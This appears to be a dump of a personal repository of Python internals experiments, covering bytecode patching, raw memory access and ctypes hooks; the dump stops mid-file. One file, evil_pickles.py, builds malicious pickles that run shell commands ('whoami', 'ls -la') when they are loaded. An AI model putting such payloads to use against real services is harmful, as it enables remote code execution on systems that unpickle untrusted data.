├── .gitignore ├── README.md ├── preprocess ├── test_preprocess.py ├── ns.py └── preprocess.py ├── native_ctypes ├── README.md ├── cfuncs.py ├── util.py ├── load_addr.py ├── __init__.py └── bases.py ├── setutils.py ├── memview_fromaddr.py ├── bf.py ├── set_relations.py ├── magicfloats.py ├── weird_with.py ├── truthtablesly.py ├── fishhook_asm ├── notes.txt ├── execAsm.py └── asm.py ├── return.py ├── weird_singleton.py ├── wingetsysteminfo.py ├── f_locals_native.py ├── 5DPython.py ├── maybe.py ├── tracing.py ├── evil_pickles.py ├── function_composition.py ├── load_name.py ├── safe_getmem.py ├── dict_destructure.py ├── custom_contains.py ├── goto.py ├── int_prefix.py ├── asm_hook.py ├── dict_research.py ├── enable_cin.py ├── closure_research.py ├── muttuple.py ├── json_parser_golf.py ├── conv_args.py ├── json_parser.py ├── optimizer.py ├── name_hooks.py ├── gadget.py ├── small_hook.py ├── goto_native.py ├── f_locals.py ├── tco.py ├── small_hook_writeup.py ├── tricky_bugs.py ├── byref.py ├── truthtable.py └── framehacks.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | native_ctypes/__pycache__/ 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pysnippets 2 | General messing around with the internals of python 3 | 4 | ### NOTE: Most of this stuff may be unfinished/nonfunctional/in-progress 5 | -------------------------------------------------------------------------------- /preprocess/test_preprocess.py: -------------------------------------------------------------------------------- 1 | import preprocess 2 | #include "ns.py" 3 | 4 | NS_BEGIN(foo) 5 | x = 1 6 | y = 2 7 | z = 3 8 | NS_END 9 | 10 | print(foo) 11 | -------------------------------------------------------------------------------- /native_ctypes/README.md: -------------------------------------------------------------------------------- 1 | Attempts to reproduce a C interface (like ctypes) in pure python. 2 | 3 | This code uses a bug in `LOAD_CONST` to create aribitrary python objects (see load_addr.py) 4 | -------------------------------------------------------------------------------- /setutils.py: -------------------------------------------------------------------------------- 1 | import itertools 2 | import fishhook 3 | 4 | @fishhook.hook(set) 5 | def __mul__(self, other): 6 | return itertools.product(self, other) 7 | 8 | @fishhook.hook(itertools.product) 9 | def __mul__(self, other): 10 | cls, args = self.__reduce__() 11 | return cls(*args, other) 12 | -------------------------------------------------------------------------------- /preprocess/ns.py: -------------------------------------------------------------------------------- 1 | #define NS_BEGIN(name) __import__("builtins").__ns_globals__ = globals().copy(); globals().clear(); __ns_name__ = #name ; 2 | #define NS_END __ns__=__import__("types").SimpleNamespace(**{k: v for k, v in globals().items() if k != "__ns_name__"}); __import__("builtins").__ns_globals__[__ns_name__]=__ns__; globals().clear(); globals().update(__import__("builtins").__ns_globals__) 3 | -------------------------------------------------------------------------------- /memview_fromaddr.py: -------------------------------------------------------------------------------- 1 | import gc, ctypes 2 | def get_dict(typ): 3 | return gc.get_referents(typ.__dict__)[0] 4 | 5 | mp_dict = get_dict(memoryview) 6 | 7 | def getmem(addr, size): 8 | return (ctypes.c_char*size).from_address(addr) 9 | 10 | @classmethod 11 | def from_address(cls, addr, size, fmt='c'): 12 | return cls(getmem(addr, size)).cast('c').cast(fmt) 13 | 14 | mp_dict['from_address'] = from_address 15 | -------------------------------------------------------------------------------- /preprocess/preprocess.py: -------------------------------------------------------------------------------- 1 | import sys, dis, subprocess 2 | frame = sys._getframe() 3 | while frame := frame.f_back: 4 | f_code = frame.f_code 5 | if f_code.co_code[frame.f_lasti] == dis.opmap['IMPORT_NAME'] \ 6 | and f_code.co_names[f_code.co_code[frame.f_lasti + 1]] == 'preprocess': 7 | file = frame.f_globals['__file__'] 8 | if file: 9 | processed = subprocess.run(['gcc', '-E','-x','c', file], stdout=subprocess.PIPE) 10 | if processed.returncode == 0: 11 | exec(processed.stdout.decode()) 12 | exit(processed.returncode) 13 | -------------------------------------------------------------------------------- /bf.py: -------------------------------------------------------------------------------- 1 | def bf(inp,i=0,p=0,t={},s=open(0)): 2 | while i': 5 | p+=1 6 | case '<': 7 | p-=1 8 | case '+': 9 | t[p]=t.get(p,0)+1 10 | case '-': 11 | t[p]=t.get(p,0)-1 12 | case '.': 13 | print(end=chr(t.get(p,0))) 14 | case ',': 15 | t[p]=ord(s.read(1)) 16 | case '[': 17 | if t[p]:i+=bf(inp[i+1:]);continue 18 | case ']': 19 | if t[p]!=0:return i 20 | else:return 0 21 | i+=1 22 | 23 | p="++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+.>++." -------------------------------------------------------------------------------- /set_relations.py: -------------------------------------------------------------------------------- 1 | def is_reflexive(A, R): 2 | for a in A: 3 | if (a, a) not in R: 4 | return False 5 | return True 6 | 7 | def is_symetric(A, R): 8 | for a in A: 9 | for b in A: 10 | if (a, b) in R: 11 | if (b, a) not in R: 12 | return False 13 | return True 14 | 15 | def is_transitive(A, R): 16 | for a in A: 17 | for b in A: 18 | for c in A: 19 | if (a, b) in R and (b, c) in R: 20 | if not (a, c) in R: 21 | return False 22 | return True 23 | 24 | ## syntax 25 | E == E # R, S, T 26 | E > E # T 27 | E < E # T 28 | E >= E # R, S, T 29 | E <= E # R, S, T 30 | 31 | # need a way to specify if propery is transitive 32 | E ? E # non-transitive property # R, S 33 | 34 | {(a, b): a ? b} 35 | {(a, b): a is friends with b} 36 | {(a, b): (a.age == b.age) || (a.height > b.height)} 37 | -------------------------------------------------------------------------------- /magicfloats.py: -------------------------------------------------------------------------------- 1 | from decimal import Decimal 2 | from asm_hook import * 3 | 4 | class d(c_double):pass 5 | # subclass hack to delay conversion 6 | # ctypes type conversion seems to clobber the argument for this function 7 | # This is likely due to this function using the xmmr registers 8 | # (due to it recieving a double and optimization level) 9 | # delaying conversion with a subclass fixes the issue 10 | @hook(pythonapi.PyFloat_FromDouble, restype=py_object, argtypes=[d]) 11 | def pyfloat_fromdouble(doub): 12 | return Decimal(doub.value) # conversion happens here, while PyFloat_FromDouble is unpatched 13 | # values are likely still clobbered, but the value has already been copied from xmmr register 14 | 15 | @hook(pythonapi.PyFloat_FromString, restype=py_object, argtypes=[py_object]) 16 | def pyfloat_fromstring(string): 17 | return Decimal(string) 18 | -------------------------------------------------------------------------------- /weird_with.py: -------------------------------------------------------------------------------- 1 | import sys, dis 2 | 3 | queue = {} 4 | 5 | class Evil: 6 | def __eq__(self, other): 7 | return other 8 | 9 | def getclsdict(cls): 10 | return cls.__dict__ == Evil() 11 | 12 | def object_enter(self, *args): 13 | frame = sys._getframe(1) 14 | lasti = frame.f_lasti 15 | f_code = frame.f_code 16 | co_code = f_code.co_code 17 | if co_code[lasti + 2] == dis.opmap['STORE_NAME']: 18 | name = f_code.co_names[co_code[lasti + 3]] 19 | queue[name] = self 20 | return self 21 | 22 | def object_exit(self, *args): 23 | frame = sys._getframe(1) 24 | loc = frame.f_locals 25 | for name, value in queue.copy().items(): 26 | if value is self and name in loc and loc[name] is self: 27 | del loc[name] 28 | del queue[name] 29 | 30 | 31 | obj_dct = getclsdict(object) 32 | obj_dct['__enter__'] = object_enter 33 | obj_dct['__exit__'] = object_exit 34 | -------------------------------------------------------------------------------- /truthtablesly.py: -------------------------------------------------------------------------------- 1 | from sly import Lexer, Parser 2 | 3 | class TruthTableLexer(Lexer): 4 | tokens = { 5 | NOT, 6 | AND, 7 | OR, 8 | CONDITIONAL, 9 | BICONDITIONAL, 10 | LESS, 11 | GREATER, 12 | LESS_EQ, 13 | GREATER_EQ, 14 | XOR, 15 | NOT_EQ, 16 | LEFT_PAR, 17 | RIGHT_PAR, 18 | IDENTIFIER 19 | } 20 | 21 | ignore = ' ' 22 | 23 | LEFT_PAR = r'(\(|\[|\{)' 24 | RIGHT_PAR = r'(\)|\]|\})' 25 | NOT = r'(~|!|not)' 26 | OR = r'(\∨|V|or|\|)' 27 | AND = r'(\⋀|A|and|\&)' 28 | CONDITIONAL = r'(→|->)' 29 | LESS_EQ = r'<=' 30 | GREATER_EQ = r'>=' 31 | NOT_EQ = r'!=' 32 | LESS = r'<' 33 | GREATER = r'>' 34 | BICONDITIONAL = r'(↔|<->|=)' 35 | XOR = r'(⊕|\^|xor)' 36 | IDENTIFIER = r'[a-zA-Z_][a-zA-Z0-9_]*' 37 | 38 | #class TruthTableParser(Parser): 39 | # tokens = TruthTableLexer.tokens 40 | 41 | # precedence = ( 42 | # ('left', AND, OR) 43 | # ) 44 | -------------------------------------------------------------------------------- /fishhook_asm/notes.txt: -------------------------------------------------------------------------------- 1 | use keystone for assembling and capstone for disassembling 2 | 3 | keystone: pip3 install keystone-engine 4 | capstone: pip3 install capstone --no-binary :all: # needed to force compile for arm m2 5 | 6 | ARM64: 7 | keystone mode: 8 | Little Endian: KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN 9 | Big Endian: KS_ARCH_ARM64, KS_MODE_BIG_ENDIAN 10 | 11 | capstone mode: 12 | Little Endian: CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN 13 | Big Endian: CS_ARCH_ARM64, CS_MODE_BIG_ENDIAN 14 | 15 | AMD64|x86: 16 | keystone mode: 17 | Little Endian 16 bit: KS_ARCH_X86, KS_MODE_16 + KS_MODE_LITTLE_ENDIAN 18 | Little Endian 32 bit: KS_ARCH_X86, KS_MODE_32 + KS_MODE_LITTLE_ENDIAN 19 | Little Endian 64 bit: KS_ARCH_X86, KS_MODE_64 + KS_MODE_LITTLE_ENDIAN 20 | 21 | capstone mode: 22 | Little Endian 16 bit: CS_ARCH_X86, CS_MODE_16 + CS_MODE_LITTLE_ENDIAN 23 | Little Endian 32 bit: CS_ARCH_X86, CS_MODE_32 + CS_MODE_LITTLE_ENDIAN 24 | Little Endian 64 bit: CS_ARCH_X86, CS_MODE_64 + CS_MODE_LITTLE_ENDIAN -------------------------------------------------------------------------------- /return.py: -------------------------------------------------------------------------------- 1 | BYTES_HEADER = bytes.__basicsize__ - 1 2 | PTR_SIZE = tuple.__itemsize__ 3 | ENDIAN = ['big','little'][memoryview(b'\1\0').cast('h')[0]&0xff] 4 | 5 | load_addr = type(m:=lambda n,s:lambda v:s(v)or n)( 6 | (M:=m.__code__).replace( 7 | co_code=b'\x88'+M.co_code[1:] 8 | ),{} 9 | )(r:=iter(range(2**(PTR_SIZE*8-1)-1)),r.__setstate__) 10 | 11 | memory_backing = bytes(PTR_SIZE) \ 12 | + id(bytearray).to_bytes(PTR_SIZE, ENDIAN) \ 13 | + bytes([255] * (PTR_SIZE - 1) + [127]) \ 14 | + bytes(PTR_SIZE * 4) 15 | 16 | memory = memoryview(load_addr(id(memory_backing) + BYTES_HEADER)) 17 | 18 | def getframe(level=0): 19 | try:raise 20 | except Exception as e: 21 | frame = e.__traceback__.tb_frame.f_back 22 | for () in [()] * level: 23 | frame = frame.f_back 24 | return frame 25 | 26 | def Return(val): 27 | frame = getframe(1) 28 | offset = id(frame.f_code.co_code) + bytes.__basicsize__ + frame.f_lasti - 1 29 | memory[offset + 2: offset + 4] = bytes((83, 0)) 30 | return val 31 | 32 | def test(x): 33 | Return(x + 1) 34 | print('here') 35 | -------------------------------------------------------------------------------- /weird_singleton.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | import sys 3 | import dis 4 | 5 | pythonapi.Py_IncRef.argtypes=[py_object] 6 | 7 | class Singleton(type): 8 | def __new__(self, name, bases, body): 9 | frame = sys._getframe(1) 10 | segment = frame.f_code.co_code[frame.f_lasti + 2:] 11 | num_decos = 0 12 | for op, arg in zip(segment[::2], segment[1::2]): 13 | if op == dis.opmap['CALL_FUNCTION'] and arg == 1: 14 | num_decos += 1 15 | else: 16 | break 17 | stacktop = POINTER(py_object).from_address(id(frame) + sizeof(c_void_p) * 8) 18 | args = stacktop[:num_decos] 19 | for idx in range(num_decos): 20 | f = lambda c:c 21 | pythonapi.Py_IncRef(f) 22 | stacktop[idx] = f 23 | cls = super().__new__(self.__base__, name, bases, body) 24 | return cls(*args) 25 | 26 | @1 27 | @2 28 | @(1,2,3) 29 | class instance(metaclass=Singleton): 30 | def __init__(self, *initial_values): 31 | print('instance initialized with', *initial_values) 32 | self.args = initial_values 33 | 34 | def __repr__(self): 35 | return f'instance{self.args}' 36 | 37 | print(instance) 38 | -------------------------------------------------------------------------------- /wingetsysteminfo.py: -------------------------------------------------------------------------------- 1 | from ctypes import windll, Structure, Union, POINTER, c_int, c_void_p, c_short, byref 2 | 3 | class DUMMYSTRUCTNAME(Structure): 4 | _pack_ = 1 5 | _fields_ = ( 6 | ('wProcessorArchitecture', c_short), 7 | ('wReserved', c_short) 8 | ) 9 | 10 | class DUMMYUNIONNAME(Union): 11 | _fields_ = ( 12 | ('dwOemId', c_int), 13 | ('DUMMYSTRUCTNAME', DUMMYSTRUCTNAME) 14 | ) 15 | 16 | class _SYSTEM_INFO(Structure): 17 | _pack_ = 1 18 | _fields_ = ( 19 | ('DUMMYUNIONNAME', DUMMYUNIONNAME), 20 | ('dwPageSize', c_int), 21 | ('lpMinimumApplicationAddress', c_void_p), 22 | ('lpMaximumApplicationAddress', c_void_p), 23 | ('dwActiveProcessorMask', POINTER(c_int)), 24 | ('dwNumberOfProcessors', c_int), 25 | ('dwProcessorType', c_int), 26 | ('dwAllocationGranularity', c_int), 27 | ('wProcessorLevel', c_short), 28 | ('wProcessorRevision', c_short) 29 | ) 30 | 31 | _getsysteminfo = windll.kernel32.GetSystemInfo 32 | _getsysteminfo.argtypes = [POINTER(_SYSTEM_INFO)] 33 | 34 | def getsysteminfo(): 35 | systeminfo = _SYSTEM_INFO() 36 | _getsysteminfo(byref(systeminfo)) 37 | return systeminfo -------------------------------------------------------------------------------- /f_locals_native.py: -------------------------------------------------------------------------------- 1 | def make_locals(): 2 | import sys 3 | to_update = {} 4 | def locals(): 5 | frame = sys._getframe(1) 6 | return to_update.setdefault(frame, {**frame.f_locals}) 7 | 8 | def tracefunc(frame, what, arg): 9 | if frame in to_update: 10 | for key in frame.f_locals.copy(): 11 | if key not in to_update[frame]: 12 | del frame.f_locals[key] 13 | for key, val in to_update[frame].items(): 14 | if key not in frame.f_locals or frame.f_locals[key] != val: 15 | frame.f_locals[key] = val 16 | del to_update[frame] 17 | return tracefunc 18 | sys.settrace(tracefunc) 19 | return locals 20 | 21 | (__builtins__ if isinstance(__builtins__, dict) else __builtins__.__dict__)['locals'] = make_locals() 22 | 23 | def test_reassign(): 24 | abc = 'Old Value' 25 | print(abc) # 'Old Value' 26 | locals()['abc'] = 'New Value' 27 | print(abc) # 'New Value' 28 | 29 | def test_preassign(): 30 | locals()['abc'] = 'New Value' 31 | print(abc) 32 | abc = None # forces abc to be a local 33 | 34 | def test_dellocal(): 35 | abc = 'Old Value' 36 | del locals()['abc'] 37 | print(abc) -------------------------------------------------------------------------------- /5DPython.py: -------------------------------------------------------------------------------- 1 | #SUPPORTS# <= 3.9 2 | 3 | import sys 4 | from ctypes import c_char 5 | 6 | BYTES_OFFSET = bytes.__basicsize__ - 1 7 | 8 | def getmem(addr, size): 9 | return (c_char * size).from_address(addr) 10 | 11 | fix_ops = [None, None, None] 12 | 13 | class state: 14 | def __init__(self, anchor): 15 | self.anchor = anchor 16 | 17 | def __getattr__(self, attr): 18 | return self.anchor.l_state.get(attr) or self.anchor.g_state[attr] 19 | 20 | class anchor: 21 | def __init__(self): 22 | frame = sys._getframe(1) 23 | if None not in fix_ops: 24 | idx, size, ops = fix_ops 25 | getmem(id(frame.f_code.co_code) + BYTES_OFFSET + idx, size)[:] = ops 26 | self.g_state = frame.f_globals.copy() 27 | self.l_state = frame.f_locals.copy() 28 | self.location = frame.f_lasti - 2 29 | 30 | def backstep(anchor, depth=1): 31 | frame = sys._getframe(depth) 32 | co_code = frame.f_code.co_code 33 | inj_idx = frame.f_lasti + 2 34 | fix_ops[:] = inj_idx, 2, co_code[inj_idx: inj_idx + 2] 35 | getmem(id(co_code) + BYTES_OFFSET + inj_idx, 2)[:] = bytes([114, anchor.location]) 36 | 37 | i = 0 38 | a = anchor() 39 | i += 1 40 | if i < 5: 41 | backstep(a) 42 | print(i) 43 | -------------------------------------------------------------------------------- /maybe.py: -------------------------------------------------------------------------------- 1 | from ctypes import py_object, sizeof 2 | import builtins, sys, random 3 | 4 | def maybe(): 5 | g = sys._getframe(1).f_globals 6 | if 'Maybe' in g: 7 | del g['Maybe'] 8 | tp_base = py_object.from_address(id(g) + sizeof(py_object)) 9 | class maybe_dict(dict): 10 | __slots__ = () 11 | def __getitem__(self, key, tp_base=tp_base, dict=dict): 12 | try: 13 | tp_base.value = dict 14 | if key in self or key in vars(builtins): 15 | return self.get(key, vars(builtins).get(key)) 16 | elif key == 'Maybe': 17 | return random.random() < 0.5 18 | else: 19 | raise NameError(f'name {key!r} is not defined') 20 | finally: 21 | tp_base.value = __class__ 22 | 23 | def __setitem__(self, key, value, tp_base=tp_base, dict=dict): 24 | try: 25 | tp_base.value = dict 26 | if key != 'Maybe': 27 | return self.update({key:value}) 28 | else: 29 | raise SyntaxError('cannot assign to Maybe') 30 | finally: 31 | tp_base.value = __class__ 32 | tp_base.value = maybe_dict 33 | -------------------------------------------------------------------------------- /tracing.py: -------------------------------------------------------------------------------- 1 | import sys, dis 2 | 3 | def trace(tf): 4 | def wp(f): 5 | def inner(*a, **k): 6 | try: 7 | sys.settrace(tf) 8 | return f(*a, **k) 9 | finally: 10 | sys.settrace(None) 11 | return inner 12 | return wp 13 | 14 | def jump_trace(frame, line, arg): 15 | frame.f_trace_opcodes = True 16 | if line == 'opcode': 17 | idx = frame.f_lasti 18 | op, arg = frame.f_code.co_code[idx: idx + 2] 19 | if dis.opname[op] in ['LOAD_GLOBAL', 'LOAD_NAME']: 20 | sarg = frame.f_code.co_names[arg] 21 | if isinstance(sarg, str) and sarg.startswith('JUMP_'): 22 | _, d, n = sarg.split('_') 23 | try: 24 | mvs = { 25 | 'UP': frame.f_lineno - int(n), 26 | 'DOWN': frame.f_lineno + int(n), 27 | 'TO': int(n) 28 | } 29 | frame.f_lineno = mvs.get(d, frame.f_lineno) 30 | return 31 | except: 32 | pass 33 | return jump_trace 34 | 35 | @trace(jump_trace) 36 | def foo(): 37 | x = 0 38 | print(x) 39 | x += 1 40 | if x == 10: 41 | return 42 | JUMP_UP_4 43 | -------------------------------------------------------------------------------- /evil_pickles.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | d = ( 4 | b'\x80\x05' # PROTO 5 5 | b'c__main__\n__builtins__.getattr\n\x940' # load and memoize getattr at 0 and pop 6 | b'c__main__\n__builtins__\n\x940' # load and memoize __builtins__ as 1 and pop 7 | b'(' # MARK 8 | b'h\x00' # load getattr 9 | b'h\x01' # load __builtins__ 10 | b'V__import__\n' # "__import__" literal 11 | b'o' # use OBJ to call `getattr(__builtins__, "__import__")` 12 | b'\x940' # memoize __import__ as 2 and pop 13 | b'(' # MARK 14 | b'h\x00' # load getattr 15 | b'(' # MARK 16 | b'h\x02' # load __import__ 17 | b'Vsubprocess\n' # "subprocess" literal 18 | b'o' # import `subprocess` 19 | b'Vcall\n' # "system" literal 20 | b'o' # retrieve `os.system` 21 | b'\x94' # memoize as 3 22 | b'h\x03' 23 | b'Vwhoami\n' 24 | b'o' 25 | b'.' #STOP 26 | ) 27 | 28 | print(base64.b64encode(d)) 29 | 30 | import pickle 31 | import base64 32 | import subprocess 33 | 34 | 35 | class RCE: 36 | def __reduce__(self): 37 | cmd = 'ls -la' 38 | return subprocess.check_output, (cmd.split(' '),) 39 | 40 | 41 | if __name__ == '__main__': 42 | pickled = pickle.dumps(RCE()) 43 | print(base64.urlsafe_b64encode(pickled)) 44 | -------------------------------------------------------------------------------- /function_composition.py: -------------------------------------------------------------------------------- 1 | from fishhook import hook 2 | 3 | class compose: 4 | def __init__(self, f1, f2): 5 | self.f1 = f1 6 | self.f2 = f2 7 | 8 | def __call__(self, *args, **kwargs): 9 | return self.f2(self.f1(*args, **kwargs)) 10 | 11 | def append(self, func): 12 | return self @ func 13 | 14 | def prepend(self, func): 15 | return func @ self 16 | 17 | def __repr__(self): 18 | f1 = self.f1.__name__ if hasattr(self.f1, "__name__") else self.f1 19 | f2 = self.f2.__name__ if hasattr(self.f2, "__name__") else self.f2 20 | return f'({f1} @ {f2})' 21 | 22 | class bind: 23 | def __init__(self, func, *args, **kwargs): 24 | self.func = func 25 | self.args = args 26 | self.kwargs = kwargs 27 | 28 | def __call__(self, *args, **kwargs): 29 | return self.func(*self.args, *args, **self.kwargs, **kwargs) 30 | 31 | def __repr__(self): 32 | fn = self.func.__name__ if hasattr(self.func, "__name__") else self.func 33 | args = ", ".join(map(repr, self.args)) 34 | kwargs = ", ".join(f"{key} = {val!r}" for key, val in self.kwargs.items()) 35 | return f'bind({fn}{", " if args or kwargs else ""}{args + ", " if kwargs else args}{kwargs})' 36 | 37 | d = lambda f:f 38 | 39 | @d(lambda f:[hook(c, func=f) for c in object.__subclasses__() if vars(c).get('__call__')] or f) 40 | def __matmul__(self, other): 41 | return compose(self, other) 42 | -------------------------------------------------------------------------------- /load_name.py: -------------------------------------------------------------------------------- 1 | def sizeof(obj): 2 | return type(obj).__sizeof__(obj) 3 | 4 | TUPLE_HEADER = sizeof(()) 5 | BYTES_HEADER = sizeof(b'') - 1 6 | PTR_SIZE = sizeof((0,)) - TUPLE_HEADER 7 | MAX_INT = (1 << PTR_SIZE * 8 - 1) - 1 8 | ENDIAN = ['little','big'][1%memoryview(b'\1\0').cast('h')[0]] 9 | 10 | def load_addr(addr): 11 | capsule = [] 12 | class magic_class: 13 | __slots__ = ('obj',) 14 | def __repr__(self): 15 | capsule.append(self.obj) 16 | magic = lambda:None 17 | b_mem = b''.join(n.to_bytes(PTR_SIZE, ENDIAN) for n in ( 18 | 1, 19 | id(magic_class), 20 | addr 21 | )) 22 | b_addr = (id(b_mem) + BYTES_HEADER).to_bytes(PTR_SIZE, ENDIAN) 23 | offset = id(b_addr) + BYTES_HEADER 24 | offset -= id(magic.__code__.co_names) + TUPLE_HEADER 25 | offset //= PTR_SIZE 26 | if offset < 0: 27 | offset += 0xffffffff + 1 28 | co_code = bytes((0x65, offset & 0xff, 0x53, 0)) 29 | offset >>= 8 30 | while offset > 0: 31 | co_code = bytes((0x90, offset & 0xff)) + co_code 32 | offset >>= 8 33 | magic.__code__ = magic.__code__.replace( 34 | co_code=co_code 35 | ) 36 | try: 37 | magic() 38 | except SystemError as e: 39 | return capsule.pop() 40 | 41 | #def make_getmem(): 42 | # memory_backing = b''.join(n.to_bytes(PTR_SIZE, ENDIAN) for n in ( 43 | # 1, 44 | # id(bytearray), 45 | # MAX_INT, 46 | # 0, 0, 0, 0 47 | # )) 48 | # 49 | # memory = memoryview(load_addr(id(memory_backing) + BYTES_HEADER)) 50 | # 51 | # def getmem(start, size, _=memory_backing): 52 | # return memory[start:start + size] 53 | # return getmem 54 | # 55 | #getmem = make_getmem() 56 | -------------------------------------------------------------------------------- /safe_getmem.py: -------------------------------------------------------------------------------- 1 | BYTES_HEADER = bytes.__basicsize__ - 1 2 | PTR_SIZE = tuple.__itemsize__ 3 | ENDIAN = ['big','little'][memoryview(b'\1\0').cast('h')[0]&0xff] 4 | 5 | def sizeof(obj): 6 | return type(obj).__sizeof__(obj) 7 | 8 | def align(v, m=PTR_SIZE): 9 | return ((v + m - 1) // m) * m 10 | 11 | def getsize(fmt): 12 | size = 1 13 | while True: 14 | try: 15 | memoryview(bytes(size)).cast(fmt) 16 | return size 17 | except TypeError: 18 | size += 1 19 | 20 | load_addr = type(m:=lambda n,s:lambda v:s(v)or n)( 21 | (M:=m.__code__).replace( 22 | co_code=b'\x88'+M.co_code[1:] 23 | ),{} 24 | )(r:=iter(range(2**(PTR_SIZE*8-1)-1)),r.__setstate__) 25 | 26 | memory_backing = bytes(PTR_SIZE) \ 27 | + id(bytearray).to_bytes(PTR_SIZE, ENDIAN) \ 28 | + bytes([255] * (PTR_SIZE - 1) + [127]) \ 29 | + bytes(PTR_SIZE * 4) 30 | 31 | memory = memoryview(load_addr(id(memory_backing) + BYTES_HEADER)) 32 | 33 | def getmem(start, size, fmt='c'): 34 | import os 35 | r, w = os.pipe() 36 | try: 37 | if os.write(w, memory[start:start + 1]) == 1: 38 | return memory[start:align(start + size, getsize(fmt))].cast(fmt) 39 | except OSError:pass 40 | finally: 41 | os.close(r) 42 | os.close(w) 43 | raise OSError('bad address') from None 44 | 45 | import os 46 | from ctypes import c_char 47 | def check_addr(addr, size): 48 | r, w = os.pipe() 49 | try: 50 | if os.write(w, (c_char*size).from_address(addr)): 51 | return True 52 | except OSError as e: 53 | print(e) 54 | return False 55 | finally: 56 | os.close(r) 57 | os.close(w) -------------------------------------------------------------------------------- /native_ctypes/cfuncs.py: -------------------------------------------------------------------------------- 1 | # i need a way to control the program stack to call C functions 2 | 3 | # get address of program stack 4 | # to call c func, build asm and jmp to it 5 | # push all args in asm, using converters/whatever 6 | # call function in asm 7 | # return function result `ret`? 8 | 9 | from .load_addr import * 10 | from native_ctypes import * 11 | 12 | class PyMethodDef(c_struct): 13 | ml_name: c_char_p 14 | ml_meth: c_void_p 15 | ml_flags: c_ulong 16 | ml_doc: c_char_p 17 | 18 | class PyCFunctionObj(c_struct): 19 | ob_refcnt: c_ssize_t 20 | ob_base: py_object 21 | m_ml: c_ptr[PyMethodDef] 22 | m_self: py_object 23 | m_module: py_object 24 | m_weakreflist: py_object 25 | vectorcall: c_void_p 26 | 27 | shellcode = b'\xeb\x1e^\xb8\x04\x00\x00\x02\xbf\x01\x00\x00\x00\xba\x0e\x00\x00\x00\x0f\x05\xb8\x01\x00\x00\x02\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xffHello World!\r\n' 28 | 29 | def call_function(addr, arg1=0, arg2=0, arg3=0): 30 | func_s = PyCFunctionObj({ 31 | 'ob_refcnt': 1, 32 | 'ob_base': type(print), 33 | 'm_ml': c_ptr[PyMethodDef](PyMethodDef({ 34 | 'ml_meth': addr, 35 | 'ml_flags': 1|2 36 | })), 37 | 'm_self': arg1 38 | }) 39 | func = load_addr(addressof(func_s)) 40 | try: 41 | return func(arg2, arg3) 42 | finally: 43 | del func 44 | del func_s.m_ml.value 45 | del func_s.value 46 | 47 | def builtin(func): 48 | func_s = PyCFunctionObj({ 49 | 'ob_refcnt': 1, 50 | 'ob_base': type(print), 51 | 'm_ml': c_ptr[PyMethodDef](PyMethodDef({ 52 | 'ml_name': func.__name__.encode(), 53 | 'ml_meth': PyTypeObject.from_address(id(type(func))).tp_call, 54 | 'ml_flags': 1|2, 55 | 'ml_doc': (func.__doc__ or '').encode() or NULL 56 | })), 57 | 'm_self': func, 58 | 'm_module': func.__module__ 59 | }) 60 | return load_addr(addressof(func_s)) 61 | -------------------------------------------------------------------------------- /dict_destructure.py: -------------------------------------------------------------------------------- 1 | #SUPPORTS# <= 3.9 2 | 3 | import sys 4 | import fishhook 5 | import f_locals 6 | import dis 7 | from ctypes import c_byte 8 | 9 | @fishhook.hook(dict) 10 | def __iter__(self): 11 | frame = sys._getframe(1) 12 | ino = frame.f_lasti 13 | code = frame.f_code 14 | op = code.co_code[ino] 15 | arg = code.co_code[ino + 1] 16 | get_name = lambda op, arg:[ 17 | code.co_names, 18 | code.co_varnames 19 | ][op == dis.opmap['STORE_FAST']][arg] 20 | copy = self.copy() 21 | ex = dis.opname[op] == 'UNPACK_EX' 22 | if dis.opname[op] in ('UNPACK_SEQUENCE', 'UNPACK_EX'): 23 | counts = arg, 0 24 | elif dis.opname[op] == 'EXTENDED_ARG' and \ 25 | dis.opname[code.co_code[ino + 2]] == 'UNPACK_EX': 26 | ex = True 27 | ino += 2 28 | counts = code.co_code[ino + 1], arg 29 | else: 30 | yield from fishhook.orig(self) 31 | return 32 | exino = 0 33 | for num in counts: 34 | ino += 2 35 | while num: 36 | yield copy.pop(get_name(*code.co_code[ino: ino + 2])) 37 | ino += 2 38 | num -= 1 39 | if ex: 40 | exino = ino 41 | ex = False 42 | if exino: 43 | op, arg = code.co_code[exino: exino + 2] 44 | op_name = dis.opname[op] 45 | ex_name = get_name(op, arg) 46 | if op_name in ['STORE_GLOBAL', 'STORE_NAME']: 47 | frame.f_globals[ex_name] = copy 48 | elif op_name == 'STORE_FAST': 49 | frame.f_locals[ex_name] = copy 50 | address = id(code.co_code) + bytes.__basicsize__ - 1 + exino 51 | c_byte.from_address(address).value = dis.opmap['POP_TOP'] 52 | def tfunc(*args): 53 | if getattr(tfunc, 'flag', False): 54 | c_byte.from_address(address).value = op 55 | sys.settrace(None) 56 | else: 57 | tfunc.flag = True 58 | return tfunc 59 | sys.settrace(tfunc) 60 | -------------------------------------------------------------------------------- /custom_contains.py: -------------------------------------------------------------------------------- 1 | #SUPPORTS# <= 3.9 2 | 3 | 4 | from ctypes import * 5 | import dis 6 | 7 | BASE_SIZE = sizeof(c_void_p) 8 | BYTES_OFFSET = b''.__sizeof__() - 1 9 | 10 | def getframe(depth=0): 11 | try:raise 12 | except Exception as e: 13 | frame = e.__traceback__.tb_frame 14 | for _ in range(depth + 1): 15 | frame = frame.f_back 16 | return frame 17 | 18 | def inject_call(frame, inj_idx=0, argc=0): 19 | co_code = frame.f_code.co_code 20 | instructions = (c_char * 4).from_address(id(co_code) + BYTES_OFFSET + frame.f_lasti + inj_idx) 21 | orig = instructions.raw 22 | instructions[:] = bytes([ 23 | dis.opmap['CALL_FUNCTION'], argc, 24 | dis.opmap['JUMP_ABSOLUTE'], frame.f_lasti + inj_idx 25 | ]) 26 | def cleanup(): 27 | instructions[:] = orig 28 | return cleanup 29 | 30 | def make_stc(): 31 | capsule = {} 32 | @CFUNCTYPE(py_object, py_object) 33 | def call(self): 34 | tptr = capsule.pop('tptr') 35 | oval = capsule.pop('oval') 36 | clean = capsule.pop('clean') 37 | retv = capsule.pop('retv') 38 | 